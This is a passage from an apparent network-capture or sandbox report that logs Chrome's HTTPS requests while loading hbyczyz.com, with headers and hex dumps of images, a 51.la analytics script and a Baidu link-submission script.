g(){return f()&&t.params.pagination.clickable}const v=(e,
2024-09-27 03:50:58 UTC	11927	IN	Data Raw: 2d 63 2a 6f 2a 73 2c 69 3d 30 3d 3d 3d 73 3f 6f 3a 4d 61 74 68 2e 6d 69 6e 28 4d 61 74 68 2e 63 65 69 6c 28 28 6e 2d 73 2a 63 2a 6f 29 2f 63 29 2c 6f 29 3b 6d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2f 69 29 2c 68 3d 61 2d 6d 2a 69 2b 73 2a 6f 2c 75 3d 68 2b 6d 2a 74 2f 63 2c 72 2e 63 73 73 28 7b 22 2d 77 65 62 6b 69 74 2d 6f 72 64 65 72 22 3a 75 2c 0d 0a 32 65 31 33 0d 0a 6f 72 64 65 72 3a 75 7d 29 7d 65 6c 73 65 22 63 6f 6c 75 6d 6e 22 3d 3d 3d 70 3f 28 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 2f 63 29 2c 6d 3d 65 2d 68 2a 63 2c 28 68 3e 61 7c 7c 68 3d 3d 3d 61 26 26 6d 3d 3d 3d 63 2d 31 29 26 26 28 6d 2b 3d 31 2c 6d 3e 3d 63 26 26 28 6d 3d 30 2c 68 2b 3d 31 29 29 29 3a 28 6d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 2f 73 29 2c 68 3d 65 2d 6d 2a 73 29 3b Data Ascii: -cos,i=0===s?o:Math.min(Math.ceil((n-sco)/c),o);m=Math.floor(a/i),h=a-mi+so,u=h+mt/c,r.css({"-webkit-order":u,2e13order:u})}else"column"===p?(h=Math.floor(e/c),m=e-hc,(h>a\|\|h===a&&m===c-1)&&(m+=1,m>=c&&(m=0,h+=1))):(m=Math.floor(e/s),h=e-m*s);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49807	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:58 UTC	659	OUT	GET /sichuang/images/2023/05/30/image_1685441425_t028G50I.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:58 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:58 GMT Content-Type: image/png Content-Length: 11670 Connection: close x-oss-request-id: 66F62BA28915C633326F3BE0 Accept-Ranges: bytes ETag: "865B8AFC5077ADC928EDD83AE9A5BBF6" Last-Modified: Mon, 29 Jan 2024 03:33:32 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 15617560744721482208 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: hluK/FB3rcko7dg66aW79g== x-oss-server-time: 2
2024-09-27 03:50:58 UTC	11670	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e1 00 00 00 e1 08 02 00 00 00 b1 d1 45 2d 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRE-tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49806	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:58 UTC	659	OUT	GET /sichuang/images/2023/03/29/image_1680077868_K8782u19.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:58 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:58 GMT Content-Type: image/jpeg Content-Length: 105110 Connection: close x-oss-request-id: 66F62BA2323081353784E4E0 Accept-Ranges: bytes ETag: "9471D9F426CF275B304AAD329B46C5D1" Last-Modified: Mon, 29 Jan 2024 03:34:08 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11885912310223398547 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: lHHZ9CbPJ1swSq0ym0bF0Q== x-oss-server-time: 3
2024-09-27 03:50:58 UTC	15837	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP.http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:50:58 UTC	16384	IN	Data Raw: 16 35 6c 6d 13 2d 11 12 36 f7 3d ee 78 88 3e 23 00 88 bd d8 8c 91 69 59 2a 35 43 ac 8b 40 ea ea a4 48 a1 92 80 e0 3c 47 43 39 af 4c 27 ce 09 47 b8 78 55 b7 92 67 66 51 ba db b1 d8 7b 4c 44 a8 c1 11 4a a3 2d 18 0a 26 3f 67 cd 6a 87 8a 91 a9 0f fa 66 ec 3d fb 12 99 cb 7d 72 39 f8 c6 6d 76 b0 08 d8 08 7f c0 41 fd 8f 7a 09 16 c8 cd 48 2e bb 3e a5 9a 77 ff 00 1f 6f 76 e9 f6 37 0f c5 c9 20 b2 74 ff 00 84 63 c2 3a 53 60 f7 aa f5 5e 36 9b 2a 73 96 8c 71 80 70 55 bd ae e2 11 e6 79 ae d2 da fa 71 16 7a 51 f0 7f 9b 3a d5 0f 6c 7e 2d 33 ff 00 df 06 07 a3 d9 21 5e 32 b1 eb 4b 31 c9 99 3b 58 6b 21 bf 61 23 fe f9 ae e1 b9 1a ec 1a aa cb 65 aa d0 cb 59 0b fc 2e 1e e0 96 09 d6 56 e5 3e 0e fb 2b ba 65 32 c4 41 54 9b 24 b5 10 32 0e e4 cf 4a 86 9a 4f 03 b1 bc e5 64 ab 51 bf Data Ascii: 5lm-6=x>#iY5C@H<GC9L'GxUgfQ{LDJ-&?gjf=}r9mvAzH.>wov7 tc:S`^6sqpUyqzQ:l~-3!^2K1;Xk!a#eY.V>+e2AT$2JOdQ
2024-09-27 03:50:58 UTC	16384	IN	Data Raw: 84 54 54 65 c0 b3 76 b2 a4 a9 03 f3 59 2a d4 65 53 97 4e a9 a6 db ce 43 e6 d4 df 8b 6f 1f ae 63 86 15 47 aa f5 6d ac 01 a6 19 24 50 b0 c8 8d f7 47 43 8e 37 84 e6 9b 8b 36 d8 cc 85 40 a4 9b a6 f1 3c 32 17 08 88 3b 58 08 00 80 8e 0e 70 40 41 6d 53 fe 18 ab 76 de d8 e4 8d 41 ba 7b f5 e6 7d 2e a7 aa 1d 43 a9 2f 06 f7 1b cd d5 09 a5 4f 3a 3f 18 7d 39 4d ba 52 f4 eb 95 2b 4e 3a 91 4a b5 2c 35 37 ce 9a 6c 6a 4d 1f 3c 19 d7 4c 33 60 95 d9 2b 54 ad 6b fe e5 d7 a0 71 f6 ff 00 82 6e 53 58 f3 b0 53 08 dc ed 7a a1 ce 28 59 59 af 0f e9 54 0a 0b 89 4b ee 47 bb c5 16 2a d2 27 c9 4e 92 a4 0a d6 90 47 9a cd 3d ea b1 78 77 75 38 88 76 75 92 7d f1 ef 8d 09 cc 97 1f 57 eb c9 b4 98 85 0c c0 34 d6 09 16 c0 43 59 db c6 fe 41 2d 15 56 c2 a3 d7 04 f1 bf ff 00 70 3e 1d a0 e9 5d a9 Data Ascii: TTevYeSNCocGm$PGC76@<2;Xp@AmSvA{}.C/O:?}9MR+N:J,57ljM<L3`+TkqnSXSz(YYTKG'NG=xwu8vu}W4CYA-Vp>]
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 77 a9 37 47 cb a5 70 0e 61 45 12 1a 5d 2b 9a b5 c9 a4 e9 9c 1a c7 1c 80 9c 1f 9c 8a 00 bd 51 46 22 87 4e 82 db 30 ac 06 95 95 66 a9 b3 44 a1 22 1a c2 1c 6e b8 31 d7 0a 15 cd b2 0b 4d 19 5d 69 80 9d f1 ba fe 76 23 30 f0 5a b6 d5 94 ee fd 1b 97 94 72 94 d9 b4 e7 f0 d2 de d5 31 01 d4 94 e3 e3 c0 4f 04 52 55 57 55 d0 35 b9 18 ed 06 fc 84 49 d5 15 a6 d1 86 67 77 7e cb ac ab d0 ce 54 d6 de 7b ac d8 a7 83 df b2 03 e1 14 bb a8 06 7f ce 86 6f eb 79 ff 00 55 3a aa 06 9a 44 a7 4d d9 4e 98 da 85 4a 92 87 bd 95 61 2c fc d8 e8 53 7c 14 21 56 10 c5 15 22 80 49 64 41 75 d0 1c b6 a4 51 5c be 78 18 7f 43 c3 6e 5a a0 a5 59 65 a6 57 3f d8 88 77 84 3b 79 74 5f c5 81 69 c1 2d a4 fb 6f 18 7c 1d 0c 10 8d 46 f5 52 74 bd a3 b8 94 3d ca 73 70 a7 ea 8a b2 f1 d0 94 03 4b 8b a8 fa 86 Data Ascii: w7GpaE]+QF"N0fD"n1M]iv#0Zr1ORUWU5Igw~T{oyU:DMNJa,S\|!V"IdAuQ\xCnZYeW?w;yt_i-o\|FRt=spK
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 96 95 5b 62 b2 4b 55 e2 47 fa 09 b9 55 48 10 63 e9 96 f9 7b 65 b1 ff 00 a3 0b c2 60 9d 2d 5f 2b 0b 53 22 f5 21 88 75 8f 59 1b 4d 63 0d 63 a4 2d c4 5b a7 ed 96 c2 76 03 ff 00 a3 b1 87 e8 f4 d7 4a e4 03 7c 22 56 d5 96 b4 43 75 b7 2b 52 db 13 2a a1 37 3c a0 d6 6b b4 ab a8 53 a5 49 e2 5b 5d 49 58 65 1d 46 bf 96 1a 20 d7 e4 35 7c 25 ce ac 23 68 eb 0e 66 0f 9e 03 67 a8 c3 e7 83 03 6b e4 59 b0 6a ad ad ca 41 3a c8 5b 46 ff 00 29 c7 c8 fd 6a f6 3e 98 b0 10 d0 db 05 3f 99 f5 9c ea 69 49 5b 4b 2d ad 0c ba 80 d8 26 60 91 4b 5e 4f 88 7d c8 27 c6 d9 a1 9f 3e 1a 1c 34 c9 e1 6c 42 83 c0 7f bb 89 00 b4 d7 9b d2 55 c3 a2 e9 53 54 84 a9 6a ed 1b 7a 38 a8 9b 5b 38 e5 07 e3 6b a6 6c 73 90 43 c6 3a 8d 16 d6 42 8b 1b b5 9e 9b a9 3e 98 66 dc fd f4 de af 2b 5a 0d ea b7 92 56 69 Data Ascii: [bKUGUHc{e`-_+S"!uYMcc-[vJ\|"VCu+R*7<kSI[]IXeF 5\|%#hfgkYjA:[F)j>?iI[K-&`K^O}'>4lBUSTjz8[8klsC:B>f+ZVi
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 98 89 a8 3a b9 a8 e0 a2 a2 8b 1c 3d d8 8d 08 7a f8 76 07 36 44 fa bb 35 ac a9 d2 a3 46 31 01 00 90 c8 45 c0 22 20 2e 11 01 17 3d c2 e7 c6 61 0b 2a f3 46 57 29 32 48 61 09 4c 37 83 b7 cc 1f 78 25 a4 0b 4e 95 35 13 4d 34 66 1d 4f 91 9f a4 4f 2a 38 2b 8f 4b eb c7 f1 f6 ec 3e b8 ce 76 31 ed 0c 67 ab 09 c7 b0 86 85 1c d0 f9 ef d7 ac 6f 4d f2 23 c8 9c b2 cb 2c b8 4b 2a 7c 89 65 e1 c3 dd d9 ed fc f0 da 2d 3a 7e 9b e4 e1 11 96 12 0e 1b 52 4a 65 72 bc ae 4f b3 ef ed fb 30 fb f6 c5 3c 9f 31 e4 c6 3f 1b f3 ef ec fc 7f 66 de 4f 24 69 f1 94 77 49 23 29 a4 4e 88 f2 f9 53 4b 27 f9 63 eb e1 1f 7e d2 cb 2f 58 5c 3d 48 62 02 0e bb 17 3f 5e 33 48 07 c8 2a 38 a8 73 d7 3c 04 76 86 cf 8a 57 ee 15 1d 1f 45 87 34 a2 36 e3 32 72 29 22 84 c9 20 a3 a8 a7 e9 55 54 b5 70 8f db 87 1c Data Ascii: :=zv6D5F1E" .=aFW)2HaL7x%N5M4fOO8+K>v1goM#,K\|e-:~RJerO0<1?fO$iwI#)NSK'c~/X\=Hb?^3H8s<vWE462r)" UTp
2024-09-27 03:50:59 UTC	7353	IN	Data Raw: 42 d3 0b ed dc e2 38 70 4b cb 76 7a d9 d6 d0 df 9b 3f 72 05 96 74 5c 2d ed ce a1 eb 39 54 c7 2f 2f c5 ba 8d b5 e5 5f ec 3a 00 c9 f7 6d b5 94 ca 81 95 2b 9d a5 92 12 3c f1 7f 6a 56 d6 7c e9 86 59 9c cf b2 69 d1 dc 37 bc 37 6b 4f ea cb 53 30 d3 b7 42 8a 78 a6 dc 93 44 8a 66 ae 67 55 19 54 93 15 3a 9b c0 99 a0 1e 97 f6 19 c3 12 2f e3 d9 87 3a 2d 53 9b 03 2a 56 8b dd 08 49 e1 01 07 83 a4 30 1b df 07 3a 08 4a c7 36 b5 5d 99 a4 4f ac 94 d3 c2 7c 79 e3 8a 40 21 95 ca 91 7c a8 a8 9a 81 45 83 a8 a8 57 52 19 1d 25 9d 4e 8d d0 74 d6 c5 ad d5 2c 33 bd 38 1d 31 38 fa fd b0 8c 76 e6 aa da c4 5a 41 a8 65 50 0b ca 8b b6 0e 1a 87 50 ec 74 d3 ad 98 2d 85 4d 42 05 8e 47 a9 6b c6 ff 00 95 c9 57 dd 82 14 96 83 76 4d 15 24 5e 69 64 c6 59 a4 f3 7e 69 5e ef f2 8f 6f 77 1d 86 14 Data Ascii: B8pKvz?rt\-9T//_:m+<jV\|Yi77kOS0BxDfgUT:/:-S*VI0:J6]O\|y@!\|EWR%Nt,3818vZAePPt-MBGkWvM$^idY~i^ow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49777	90.84.161.25	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:58 UTC	350	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:59 UTC	433	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:58 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE5-CACHE5[136],EU-GER-frankfurt-EDGE5-CACHE5[ovl,135],CHN-HElangfang-GLOBAL6-CACHE38[ovl,18] X-CCDN-REQ-ID-46B1: ce55b510eb68eb60b36e9648586ce9da
2024-09-27 03:50:59 UTC	15951	IN	Data Raw: 34 61 36 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c 6d Data Ascii: 4a6/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),m
2024-09-27 03:50:59 UTC	16384	IN	Data Raw: 64 65 78 4f 66 27 5d 28 27 54 72 69 64 65 6e 74 2f 27 29 3e 30 78 30 3f 28 66 68 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 6f 2c 66 70 2c 66 71 2c 66 72 2c 66 73 2c 66 74 2c 66 75 3d 5b Data Ascii: dexOf']('Trident/')>0x0?(fh=fi['indexOf']('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,fp,fq,fr,fs,ft,fu=[
2024-09-27 03:50:59 UTC	2100	IN	Data Raw: 78 31 5d 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 27 29 5b 27 63 6f 6e 63 61 74 27 5d 28 69 45 5b 27 68 4a 64 59 51 6d 27 5d 28 67 72 29 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 27 29 5b 27 63 6f 6e 63 61 74 27 5d 28 4d 61 74 68 5b 27 72 61 6e 64 6f 6d 27 5d 28 29 5b 27 74 6f 53 74 72 69 6e 67 27 5d 28 30 78 32 34 29 5b 27 73 75 62 73 74 72 27 5d 28 2d 30 78 38 29 2c 27 5c 78 30 61 5c 78 32 30 5c 78 32 30 27 29 2c 69 45 5b 27 4b 68 75 48 53 4f 27 5d 28 29 29 2c 6a 64 3d 6a 36 5b 27 68 72 65 66 27 5d 2c 67 53 3d 7b 27 69 64 27 3a 6a 37 5b 27 69 64 27 5d 2c 27 72 74 27 3a 6a 38 2c 27 74 74 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 74 74 27 5d 2c 27 6b 77 27 3a 61 65 5b 27 5a 4e 4d 54 57 6a 27 5d 5b 27 Data Ascii: x1],'\x0a\x20\x20\x20\x20')['concat'](iE['hJdYQm'](gr),'\x0a\x20\x20\x20\x20')['concat'](Math['random']()['toString'](0x24)['substr'](-0x8),'\x0a\x20\x20'),iE['KhuHSO']()),jd=j6['href'],gS={'id':j7['id'],'rt':j8,'tt':ae['ZNMTWj']['tt'],'kw':ae['ZNMTWj']['

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49823	58.254.150.48	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:58 UTC	532	OUT	GET /linksubmit/push.js HTTP/1.1 Host: zz.bdstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:59 UTC	459	IN	HTTP/1.1 200 OK Server: JSP3/2.0.14 Date: Fri, 27 Sep 2024 03:50:59 GMT Content-Type: application/x-javascript Content-Length: 308 Connection: close Last-Modified: Thu, 19 Sep 2024 23:54:33 GMT ETag: "66ecb9b9-134" Cache-Control: max-age=86400 Age: 807 Accept-Ranges: bytes Tracecode: 22039412640253925130092711 Ohc-Global-Saved-Time: Fri, 27 Sep 2024 03:36:43 GMT Ohc-Cache-HIT: gz3un61 [2], zhuzuncache62 [2] Ohc-Response-Time: 1 0 0 0 0 0
2024-09-27 03:50:59 UTC	308	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 2f 28 5b 68 74 74 70 7c 68 74 74 70 73 5d 3a 5c 2f 5c 2f 5b 61 2d 7a 41 2d 5a 30 2d 39 5c 5f 5c 2e 5d 2b 5c 2e 62 61 69 64 75 5c 2e 63 6f 6d 29 2f 67 69 2c 72 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 3b 69 66 28 21 65 2e 74 65 73 74 28 72 29 29 7b 76 61 72 20 6f 3d 22 68 74 74 70 73 3a 2f 2f 73 70 30 2e 62 61 69 64 75 2e 63 6f 6d 2f 39 5f 51 34 73 69 6d 67 32 52 51 4a 38 74 37 6a 6d 39 69 43 4b 54 2d 78 68 5f 2f 73 2e 67 69 66 22 3b 74 3f 28 6f 2b 3d 22 3f 72 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 2c 72 26 26 28 6f 2b 3d 22 26 6c 3d 22 2b 72 Data Ascii: !function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49824	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:58 UTC	659	OUT	GET /images/2024/05/10/sichuang/image_1715324241_REr34rRH.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:59 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:59 GMT Content-Type: image/png Content-Length: 17415 Connection: close x-oss-request-id: 66F62BA323D93A32387FC418 Accept-Ranges: bytes ETag: "C43DC19D813D4037CEC73D6600000000" Last-Modified: Fri, 10 May 2024 07:07:58 GMT x-oss-object-type: Appendable x-oss-hash-crc64ecma: 3981249697502281156 x-oss-next-append-position: 17415 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true x-oss-server-time: 2
2024-09-27 03:50:59 UTC	15840	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e1 00 00 00 e1 08 02 00 00 00 b1 d1 45 2d 00 00 00 09 70 48 59 73 00 00 0f 61 00 00 0f 61 01 a8 3f a7 69 00 00 07 c0 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 33 36 30 2c 20 32 30 32 30 2f 30 32 2f 31 33 2d 30 31 3a 30 37 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRE-pHYsaa?iiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RD
